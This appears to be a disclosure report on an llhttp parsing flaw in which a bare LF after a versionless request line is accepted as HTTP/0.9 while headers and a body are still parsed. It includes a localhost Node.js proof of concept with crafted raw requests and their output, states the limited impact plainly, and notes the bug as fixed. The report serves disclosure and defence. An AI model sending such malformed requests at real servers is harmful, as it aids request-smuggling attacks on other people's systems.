HTTP request smuggling primitive: bare LF accepted as a request-line terminator in strict mode

[MegaManSec]

llhttp_set_lenient_optional_cr_before_lf documents that llhttp "would error when a LF is not
preceded by CR when terminating the request line", and that relaxing this exposes request smuggling.
url.ts:176 exits on a bare \n straight to the HTTP/0.9 adapter with no
LENIENT_OPTIONAL_CR_BEFORE_LF check — the only line terminator in the grammar that is ungated.

url.exit.toHTTP09 then continues into headers_start with no http_minor guard, so the message is
labelled HTTP/0.9 but headers and a Content-Length body are still parsed.

PoC

const http = require('http'), net = require('net');

const srv = http.createServer((req, res) => {          // default parser, no options
  let body = '';
  req.on('data', c => body += c);
  req.on('end', () => {
    console.log(`  ACCEPTED  HTTP/${req.httpVersion}  ${req.method} ${req.url}` +
                `  headers=${JSON.stringify(req.headers)}  body=${JSON.stringify(body)}`);
    res.end('ok');
  });
});
srv.on('clientError', e => console.log(`  REJECTED  ${e.code}`));

const cases = [
  ['versionless + bare LF', 'GET /x\nHost: a\r\nContent-Length: 5\r\n\r\nhello'],
  ['versioned   + bare LF', 'GET /x HTTP/1.1\nHost: a\r\n\r\n'],
];

srv.listen(0, async () => {
  for (const [name, raw] of cases) {
    console.log(name);
    await new Promise(done => {
      const c = net.connect(srv.address().port, '127.0.0.1', () => c.write(raw));
      c.on('close', done); c.on('error', done);
      setTimeout(() => c.destroy(), 300);
    });
  }
  srv.close();
});

versionless + bare LF
  ACCEPTED  HTTP/0.9  GET /x  headers={"host":"a","content-length":"5"}  body="hello"
versioned   + bare LF
  REJECTED  HPE_INVALID_VERSION

The same terminator is rejected when a version is present and accepted when it is absent. The
accepted message is reported as HTTP/0.9 yet carries headers and a body, neither of which HTTP/0.9
defines.

Scope, stated plainly: this path sets keepalive=0, and a pipelined follow-up request is rejected
with HPE_CLOSED_CONNECTION, so on its own it is a divergence from the documented strict-mode
guarantee rather than a demonstrated desync. Two requests parse on one connection only with
lenient_keep_alive also enabled.

[MegaManSec]

Fixed in #876